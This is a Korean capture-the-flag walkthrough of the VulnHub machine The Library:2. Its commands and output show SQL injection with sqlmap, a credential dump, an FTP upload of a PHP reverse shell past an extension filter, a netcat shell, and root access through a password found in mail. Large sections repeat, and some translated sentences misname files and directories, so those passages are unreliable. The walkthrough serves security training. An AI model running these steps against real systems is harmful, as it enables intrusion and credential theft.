vulnhub Walkthrough : The Library:2
vulnhub의 의도적으로 취약성이 만들어진 The Library:2의 Walkthrough가 됩니다.
vulnhub 정보
이름
The Library: 2
Date release
25 Jul 2019
작성자
Avraham Cohen
시리즈
The Library
PortScan:
nmap
를 사용하여 대상 머신의 포트를 살펴보십시오.ftp
와 Apache
가 존재하는 것을 알았습니다.
PORT
서비스
VERSION
21
ftp
vsftpd 3.0.3
80
http
Apache httpd 2.4.18 ((Ubuntu))
root@kali:~# nmap -sS -sV 192.168.56.57
Starting Nmap 7.70 ( https://nmap.org ) at 2020-05-02 07:52 EDT
Nmap scan report for 192.168.56.57
Host is up (0.00066s latency).
Not shown: 969 filtered ports, 29 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
MAC Address: 08:00:27:6C:4A:CD (Oracle VirtualBox virtual NIC)
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.05 seconds
Enumeration:
웹 서버 디렉토리를 찾았는데 library.php
를 찾았습니다.
root@kali:~# dirb http://192.168.56.57 -X .php
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sat May 2 07:53:48 2020
URL_BASE: http://192.168.56.57/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.php) | (.php) [NUM = 1]
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.56.57/ ----
+ http://192.168.56.57/library.php (CODE:200|SIZE:1546)
-----------------
END_TIME: Sat May 2 07:53:52 2020
DOWNLOADED: 4612 - FOUND: 1
Exploitation:
GET 매개 변수에 SQL 주입이 있는지 찾았지만 찾을 수 없으므로,
POST 메소드로 변경하고 sqlmap
를 사용한 결과 sql 주입이 존재하는 것으로 나타났습니다.
root@kali:~# sqlmap -u 192.168.56.57/library.php --data "country=France" --dbs
___
__H__
___ ___[.]_____ ___ ___ {1.3#stable}
|_ -| . [.] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 08:00:26 /2020-05-02/
[08:00:26] [INFO] resuming back-end DBMS 'mysql'
[08:00:26] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: country (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: country=France' AND SLEEP(5) AND 'gVJm'='gVJm
---
[08:00:26] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 16.04 or 16.10 (yakkety or xenial)
web application technology: Apache 2.4.18
back-end DBMS: MySQL >= 5.0.12
[08:00:26] [INFO] fetching database names
[08:00:26] [INFO] fetching number of databases
[08:00:26] [INFO] resumed: 5
[08:00:26] [INFO] resumed: information_schema
[08:00:26] [INFO] resumed: library
[08:00:26] [INFO] resumed: mysql
[08:00:26] [INFO] resumed: performance_schema
[08:00:26] [INFO] resumed: sys
available databases [5]:
[*] information_schema
[*] library
[*] mysql
[*] performance_schema
[*] sys
[08:00:26] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.56.57'
[*] ending @ 08:00:26 /2020-05-02/
데이터베이스 이름을 알았으므로 테이블을 지정하고 sqlmap
알게 된 계정 정보로 ftp
연결할 수 있었습니다.
root@kali:~# sqlmap -u 192.168.56.57/library.php --data "country=France" -D library --dump
Database: library
Table: access
[1 entry]
+----+---------+----------+----------------+
| id | service | username | password |
+----+---------+----------+----------------+
| 1 | ftp | globus | AroundTheWorld |
+----+---------+----------+----------------+
root@kali:~# ftp 192.168.56.57
Connected to 192.168.56.57.
220 (vsFTPd 3.0.3)
Name (192.168.56.57:root): globus
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
ftp
에 접속할 수 있었으므로 리버스 쉘을 업로드 해, 서버에 접속할 수 있는지 시험해 봅니다.
root@kali:~# cp /usr/share/webshells/php/php-reverse-shell.php shell.php
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx 2 1001 1001 4096 Jul 25 2019 html
226 Directory send OK.
ftp> cd html
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxrwxrwx 1 0 0 11321 Jul 17 2019 index.html
-rwxrwxrwx 1 0 0 3319 Jul 24 2019 library.php
-rwxrwxrwx 1 0 0 3172 Jul 21 2019 style.css
226 Directory send OK.
ftp> put shell.php
local: shell.php remote: shell.php
200 PORT command successful. Consider using PASV.
550 Permission denied.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxrwxrwx 1 0 0 11321 Jul 17 2019 index.html
-rwxrwxrwx 1 0 0 3319 Jul 24 2019 library.php
-rwxrwxrwx 1 0 0 3172 Jul 21 2019 style.css
226 Directory send OK.
ftp>
FTP
를 업로드할 수 없습니다.
파일 이름 shell.php
로 변경하고 다시 업로드했는데 업로드할 수 있었습니다. (실행 권한도 부여하고 있습니다.)
ftp> put shell.PHP
local: shell.PHP remote: shell.PHP
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
5494 bytes sent in 0.00 secs (16.1713 MB/s)
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxrwxrwx 1 0 0 11321 Jul 17 2019 index.html
-rwxrwxrwx 1 0 0 3319 Jul 24 2019 library.php
-rw------- 1 1001 1001 5494 May 02 14:26 shell.PHP
-rwxrwxrwx 1 0 0 3172 Jul 21 2019 style.css
226 Directory send OK.
ftp> chmod 777 shell.PHP
200 SITE CHMOD command ok.
페이로드 업로드가 완료되었으므로 웹 브라우저에서 실행합니다. 그 전에 shell.PHP
를 사용하여 연결을 기다립니다. 업로드한 페이로드를 실행한 후 액세스할 수 있었습니다.
root@kali:~# netcat -lvp 1234
listening on [any] 1234 ...
192.168.56.57: inverse host lookup failed: Unknown host
connect to [192.168.56.3] from (UNKNOWN) [192.168.56.57] 51844
Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
14:30:10 up 1:06, 0 users, load average: 0.03, 0.02, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
Privilege Escalation:
먼저 netcat
를 사용하여 대화형 셸을 가져옵니다.
$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@ubuntu:/$
여러가지 정보를 찾고 있었는데, python
디렉토리를 발견했습니다. mail
파일을 확인한 결과, 루트 사용자의 비밀번호가 표시되었습니다.
www-data@ubuntu:/var/mail$ ls
ls
welcome
www-data@ubuntu:/var/mail$ cat welcome
cat welcome
Welcome Administrator,
This is the library.
Database credentials: username / password.
Root password: secretPassword
welcome
에서 방금 이전에 찾은 암호로 su
네
www-data@ubuntu:/var/mail$ su root
su root
Password: secretPassword
root@ubuntu:/var/mail# id
id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:/var/mail#
면책사항
본 기사는 정보 보안에 있어서의 공격의 이해, 방위의 스킬 향상을 목적으로 한 보안에 관한 내용이 있습니다. 본 기사의 내용을 사용하여 발생한 어떠한 손해나 손실에 대해서, 본 기사 작성자는 일절의 책임을 지지 않습니다.
본 기사의 내용을 실제로 사용하여 제3자의 개인이나 조직 등을 공격한 경우는 법률에 의해 처벌될 가능성이 있으므로 반드시 자신이 소유하고 있는 환경만을 대상으로 하여 타인이나 조직 가 소유하고 있는 환경은 결코 대상으로 하지 않도록 부탁합니다.
Reference
이 문제에 관하여(vulnhub Walkthrough : The Library:2), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다
https://qiita.com/Mr_e5908de784a1e38197/items/9aaa8b60576ba543a40a
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념
(Collection and Share based on the CC Protocol.)
nmap
를 사용하여 대상 머신의 포트를 살펴보십시오.ftp
와 Apache
가 존재하는 것을 알았습니다.PORT
서비스
VERSION
21
ftp
vsftpd 3.0.3
80
http
Apache httpd 2.4.18 ((Ubuntu))
root@kali:~# nmap -sS -sV 192.168.56.57
Starting Nmap 7.70 ( https://nmap.org ) at 2020-05-02 07:52 EDT
Nmap scan report for 192.168.56.57
Host is up (0.00066s latency).
Not shown: 969 filtered ports, 29 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
MAC Address: 08:00:27:6C:4A:CD (Oracle VirtualBox virtual NIC)
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.05 seconds
Enumeration:
웹 서버 디렉토리를 찾았는데 library.php
를 찾았습니다.
root@kali:~# dirb http://192.168.56.57 -X .php
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sat May 2 07:53:48 2020
URL_BASE: http://192.168.56.57/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.php) | (.php) [NUM = 1]
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.56.57/ ----
+ http://192.168.56.57/library.php (CODE:200|SIZE:1546)
-----------------
END_TIME: Sat May 2 07:53:52 2020
DOWNLOADED: 4612 - FOUND: 1
Exploitation:
GET 매개 변수에 SQL 주입이 있는지 찾았지만 찾을 수 없으므로,
POST 메소드로 변경하고 sqlmap
를 사용한 결과 sql 주입이 존재하는 것으로 나타났습니다.
root@kali:~# sqlmap -u 192.168.56.57/library.php --data "country=France" --dbs
___
__H__
___ ___[.]_____ ___ ___ {1.3#stable}
|_ -| . [.] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 08:00:26 /2020-05-02/
[08:00:26] [INFO] resuming back-end DBMS 'mysql'
[08:00:26] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: country (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: country=France' AND SLEEP(5) AND 'gVJm'='gVJm
---
[08:00:26] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 16.04 or 16.10 (yakkety or xenial)
web application technology: Apache 2.4.18
back-end DBMS: MySQL >= 5.0.12
[08:00:26] [INFO] fetching database names
[08:00:26] [INFO] fetching number of databases
[08:00:26] [INFO] resumed: 5
[08:00:26] [INFO] resumed: information_schema
[08:00:26] [INFO] resumed: library
[08:00:26] [INFO] resumed: mysql
[08:00:26] [INFO] resumed: performance_schema
[08:00:26] [INFO] resumed: sys
available databases [5]:
[*] information_schema
[*] library
[*] mysql
[*] performance_schema
[*] sys
[08:00:26] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.56.57'
[*] ending @ 08:00:26 /2020-05-02/
데이터베이스 이름을 알았으므로 테이블을 지정하고 sqlmap
알게 된 계정 정보로 ftp
연결할 수 있었습니다.
root@kali:~# sqlmap -u 192.168.56.57/library.php --data "country=France" -D library --dump
Database: library
Table: access
[1 entry]
+----+---------+----------+----------------+
| id | service | username | password |
+----+---------+----------+----------------+
| 1 | ftp | globus | AroundTheWorld |
+----+---------+----------+----------------+
root@kali:~# ftp 192.168.56.57
Connected to 192.168.56.57.
220 (vsFTPd 3.0.3)
Name (192.168.56.57:root): globus
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
ftp
에 접속할 수 있었으므로 리버스 쉘을 업로드 해, 서버에 접속할 수 있는지 시험해 봅니다.
root@kali:~# cp /usr/share/webshells/php/php-reverse-shell.php shell.php
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx 2 1001 1001 4096 Jul 25 2019 html
226 Directory send OK.
ftp> cd html
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxrwxrwx 1 0 0 11321 Jul 17 2019 index.html
-rwxrwxrwx 1 0 0 3319 Jul 24 2019 library.php
-rwxrwxrwx 1 0 0 3172 Jul 21 2019 style.css
226 Directory send OK.
ftp> put shell.php
local: shell.php remote: shell.php
200 PORT command successful. Consider using PASV.
550 Permission denied.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxrwxrwx 1 0 0 11321 Jul 17 2019 index.html
-rwxrwxrwx 1 0 0 3319 Jul 24 2019 library.php
-rwxrwxrwx 1 0 0 3172 Jul 21 2019 style.css
226 Directory send OK.
ftp>
FTP
를 업로드할 수 없습니다.
파일 이름 shell.php
로 변경하고 다시 업로드했는데 업로드할 수 있었습니다. (실행 권한도 부여하고 있습니다.)
ftp> put shell.PHP
local: shell.PHP remote: shell.PHP
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
5494 bytes sent in 0.00 secs (16.1713 MB/s)
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxrwxrwx 1 0 0 11321 Jul 17 2019 index.html
-rwxrwxrwx 1 0 0 3319 Jul 24 2019 library.php
-rw------- 1 1001 1001 5494 May 02 14:26 shell.PHP
-rwxrwxrwx 1 0 0 3172 Jul 21 2019 style.css
226 Directory send OK.
ftp> chmod 777 shell.PHP
200 SITE CHMOD command ok.
페이로드 업로드가 완료되었으므로 웹 브라우저에서 실행합니다. 그 전에 shell.PHP
를 사용하여 연결을 기다립니다. 업로드한 페이로드를 실행한 후 액세스할 수 있었습니다.
root@kali:~# netcat -lvp 1234
listening on [any] 1234 ...
192.168.56.57: inverse host lookup failed: Unknown host
connect to [192.168.56.3] from (UNKNOWN) [192.168.56.57] 51844
Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
14:30:10 up 1:06, 0 users, load average: 0.03, 0.02, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
Privilege Escalation:
먼저 netcat
를 사용하여 대화형 셸을 가져옵니다.
$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@ubuntu:/$
여러가지 정보를 찾고 있었는데, python
디렉토리를 발견했습니다. mail
파일을 확인한 결과, 루트 사용자의 비밀번호가 표시되었습니다.
www-data@ubuntu:/var/mail$ ls
ls
welcome
www-data@ubuntu:/var/mail$ cat welcome
cat welcome
Welcome Administrator,
This is the library.
Database credentials: username / password.
Root password: secretPassword
welcome
에서 방금 이전에 찾은 암호로 su
네
www-data@ubuntu:/var/mail$ su root
su root
Password: secretPassword
root@ubuntu:/var/mail# id
id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:/var/mail#
면책사항
본 기사는 정보 보안에 있어서의 공격의 이해, 방위의 스킬 향상을 목적으로 한 보안에 관한 내용이 있습니다. 본 기사의 내용을 사용하여 발생한 어떠한 손해나 손실에 대해서, 본 기사 작성자는 일절의 책임을 지지 않습니다.
본 기사의 내용을 실제로 사용하여 제3자의 개인이나 조직 등을 공격한 경우는 법률에 의해 처벌될 가능성이 있으므로 반드시 자신이 소유하고 있는 환경만을 대상으로 하여 타인이나 조직 가 소유하고 있는 환경은 결코 대상으로 하지 않도록 부탁합니다.
Reference
이 문제에 관하여(vulnhub Walkthrough : The Library:2), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다
https://qiita.com/Mr_e5908de784a1e38197/items/9aaa8b60576ba543a40a
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념
(Collection and Share based on the CC Protocol.)
root@kali:~# dirb http://192.168.56.57 -X .php
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sat May 2 07:53:48 2020
URL_BASE: http://192.168.56.57/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.php) | (.php) [NUM = 1]
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.56.57/ ----
+ http://192.168.56.57/library.php (CODE:200|SIZE:1546)
-----------------
END_TIME: Sat May 2 07:53:52 2020
DOWNLOADED: 4612 - FOUND: 1
GET 매개 변수에 SQL 주입이 있는지 찾았지만 찾을 수 없으므로,
POST 메소드로 변경하고
sqlmap
를 사용한 결과 sql 주입이 존재하는 것으로 나타났습니다.
root@kali:~# sqlmap -u 192.168.56.57/library.php --data "country=France" --dbs
___
__H__
___ ___[.]_____ ___ ___ {1.3#stable}
|_ -| . [.] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 08:00:26 /2020-05-02/
[08:00:26] [INFO] resuming back-end DBMS 'mysql'
[08:00:26] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: country (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: country=France' AND SLEEP(5) AND 'gVJm'='gVJm
---
[08:00:26] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 16.04 or 16.10 (yakkety or xenial)
web application technology: Apache 2.4.18
back-end DBMS: MySQL >= 5.0.12
[08:00:26] [INFO] fetching database names
[08:00:26] [INFO] fetching number of databases
[08:00:26] [INFO] resumed: 5
[08:00:26] [INFO] resumed: information_schema
[08:00:26] [INFO] resumed: library
[08:00:26] [INFO] resumed: mysql
[08:00:26] [INFO] resumed: performance_schema
[08:00:26] [INFO] resumed: sys
available databases [5]:
[*] information_schema
[*] library
[*] mysql
[*] performance_schema
[*] sys
[08:00:26] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.56.57'
[*] ending @ 08:00:26 /2020-05-02/
데이터베이스 이름을 알았으므로 테이블을 지정하고
sqlmap
알게 된 계정 정보로 ftp
연결할 수 있었습니다.
root@kali:~# sqlmap -u 192.168.56.57/library.php --data "country=France" -D library --dump
Database: library
Table: access
[1 entry]
+----+---------+----------+----------------+
| id | service | username | password |
+----+---------+----------+----------------+
| 1 | ftp | globus | AroundTheWorld |
+----+---------+----------+----------------+
root@kali:~# ftp 192.168.56.57
Connected to 192.168.56.57.
220 (vsFTPd 3.0.3)
Name (192.168.56.57:root): globus
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
ftp
에 접속할 수 있었으므로 리버스 쉘을 업로드 해, 서버에 접속할 수 있는지 시험해 봅니다.
root@kali:~# cp /usr/share/webshells/php/php-reverse-shell.php shell.php
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx 2 1001 1001 4096 Jul 25 2019 html
226 Directory send OK.
ftp> cd html
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxrwxrwx 1 0 0 11321 Jul 17 2019 index.html
-rwxrwxrwx 1 0 0 3319 Jul 24 2019 library.php
-rwxrwxrwx 1 0 0 3172 Jul 21 2019 style.css
226 Directory send OK.
ftp> put shell.php
local: shell.php remote: shell.php
200 PORT command successful. Consider using PASV.
550 Permission denied.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxrwxrwx 1 0 0 11321 Jul 17 2019 index.html
-rwxrwxrwx 1 0 0 3319 Jul 24 2019 library.php
-rwxrwxrwx 1 0 0 3172 Jul 21 2019 style.css
226 Directory send OK.
ftp>
FTP
를 업로드할 수 없습니다.파일 이름
shell.php
로 변경하고 다시 업로드했는데 업로드할 수 있었습니다. (실행 권한도 부여하고 있습니다.)
ftp> put shell.PHP
local: shell.PHP remote: shell.PHP
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
5494 bytes sent in 0.00 secs (16.1713 MB/s)
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxrwxrwx 1 0 0 11321 Jul 17 2019 index.html
-rwxrwxrwx 1 0 0 3319 Jul 24 2019 library.php
-rw------- 1 1001 1001 5494 May 02 14:26 shell.PHP
-rwxrwxrwx 1 0 0 3172 Jul 21 2019 style.css
226 Directory send OK.
ftp> chmod 777 shell.PHP
200 SITE CHMOD command ok.
페이로드 업로드가 완료되었으므로 웹 브라우저에서 실행합니다. 그 전에
shell.PHP
를 사용하여 연결을 기다립니다. 업로드한 페이로드를 실행한 후 액세스할 수 있었습니다.
root@kali:~# netcat -lvp 1234
listening on [any] 1234 ...
192.168.56.57: inverse host lookup failed: Unknown host
connect to [192.168.56.3] from (UNKNOWN) [192.168.56.57] 51844
Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
14:30:10 up 1:06, 0 users, load average: 0.03, 0.02, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
Privilege Escalation:
먼저 netcat
를 사용하여 대화형 셸을 가져옵니다.
$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@ubuntu:/$
여러가지 정보를 찾고 있었는데, python
디렉토리를 발견했습니다. mail
파일을 확인한 결과, 루트 사용자의 비밀번호가 표시되었습니다.
www-data@ubuntu:/var/mail$ ls
ls
welcome
www-data@ubuntu:/var/mail$ cat welcome
cat welcome
Welcome Administrator,
This is the library.
Database credentials: username / password.
Root password: secretPassword
welcome
에서 방금 이전에 찾은 암호로 su
네
www-data@ubuntu:/var/mail$ su root
su root
Password: secretPassword
root@ubuntu:/var/mail# id
id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:/var/mail#
면책사항
본 기사는 정보 보안에 있어서의 공격의 이해, 방위의 스킬 향상을 목적으로 한 보안에 관한 내용이 있습니다. 본 기사의 내용을 사용하여 발생한 어떠한 손해나 손실에 대해서, 본 기사 작성자는 일절의 책임을 지지 않습니다.
본 기사의 내용을 실제로 사용하여 제3자의 개인이나 조직 등을 공격한 경우는 법률에 의해 처벌될 가능성이 있으므로 반드시 자신이 소유하고 있는 환경만을 대상으로 하여 타인이나 조직 가 소유하고 있는 환경은 결코 대상으로 하지 않도록 부탁합니다.
Reference
이 문제에 관하여(vulnhub Walkthrough : The Library:2), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다
https://qiita.com/Mr_e5908de784a1e38197/items/9aaa8b60576ba543a40a
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념
(Collection and Share based on the CC Protocol.)
$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@ubuntu:/$
www-data@ubuntu:/var/mail$ ls
ls
welcome
www-data@ubuntu:/var/mail$ cat welcome
cat welcome
Welcome Administrator,
This is the library.
Database credentials: username / password.
Root password: secretPassword
www-data@ubuntu:/var/mail$ su root
su root
Password: secretPassword
root@ubuntu:/var/mail# id
id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:/var/mail#
본 기사는 정보 보안에 있어서의 공격의 이해, 방위의 스킬 향상을 목적으로 한 보안에 관한 내용이 있습니다. 본 기사의 내용을 사용하여 발생한 어떠한 손해나 손실에 대해서, 본 기사 작성자는 일절의 책임을 지지 않습니다.
본 기사의 내용을 실제로 사용하여 제3자의 개인이나 조직 등을 공격한 경우는 법률에 의해 처벌될 가능성이 있으므로 반드시 자신이 소유하고 있는 환경만을 대상으로 하여 타인이나 조직 가 소유하고 있는 환경은 결코 대상으로 하지 않도록 부탁합니다.
Reference
이 문제에 관하여(vulnhub Walkthrough : The Library:2), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://qiita.com/Mr_e5908de784a1e38197/items/9aaa8b60576ba543a40a텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)